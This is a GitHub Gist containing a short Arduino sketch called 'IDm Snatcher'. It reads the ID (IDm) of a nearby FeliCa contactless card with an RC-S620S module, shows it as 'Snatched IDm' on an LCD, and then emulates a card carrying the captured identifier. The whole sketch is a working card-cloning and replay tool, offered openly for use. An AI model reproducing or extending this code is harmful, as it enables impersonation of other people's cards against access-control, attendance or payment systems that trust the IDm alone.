-
-
Save xxsl/01012dad4745a564631f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <LiquidCrystal.h> | |
#include <RCS620S.h> | |
#define COMMAND_TIMEOUT 400 | |
#define POLLING_INTERVAL 500 | |
#define LED_PIN 13 | |
LiquidCrystal lcd(12, 11, 5, 4, 3, 2); | |
RCS620S rcs620s; | |
int mode; | |
void setup() { | |
int ret; | |
pinMode(LED_PIN, OUTPUT); | |
digitalWrite(LED_PIN, LOW); | |
Serial.begin(115200); | |
lcd.begin(16, 2); | |
mode = 0; | |
ret = rcs620s.reset(); | |
ret = rcs620s.initDevice(); | |
while(!ret) {} | |
lcd.print("IDm Snatcher"); | |
} | |
void loop() { | |
int ret, i; | |
digitalWrite(LED_PIN, HIGH); | |
switch (mode) | |
{ | |
case 0: // Reader | |
ret = rcs620s.polling(0xFFFF); | |
if(ret) { | |
lcd.clear(); | |
lcd.print("Snatched IDm:"); | |
lcd.setCursor(0, 1); | |
for(i = 0; i < 8; i++) | |
{ | |
if(rcs620s.idm[i] / 0x10 == 0) lcd.print(0); | |
lcd.print(rcs620s.idm[i], HEX); | |
rcs620s.reset(); | |
} | |
mode = 1; | |
} | |
rcs620s.rfOff(); | |
break; | |
case 1: // Emulatior | |
rcs620s.emulating(0xFFFF, rcs620s.idm, rcs620s.pmm); | |
break; | |
} | |
digitalWrite(LED_PIN, LOW); | |
delay(POLLING_INTERVAL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment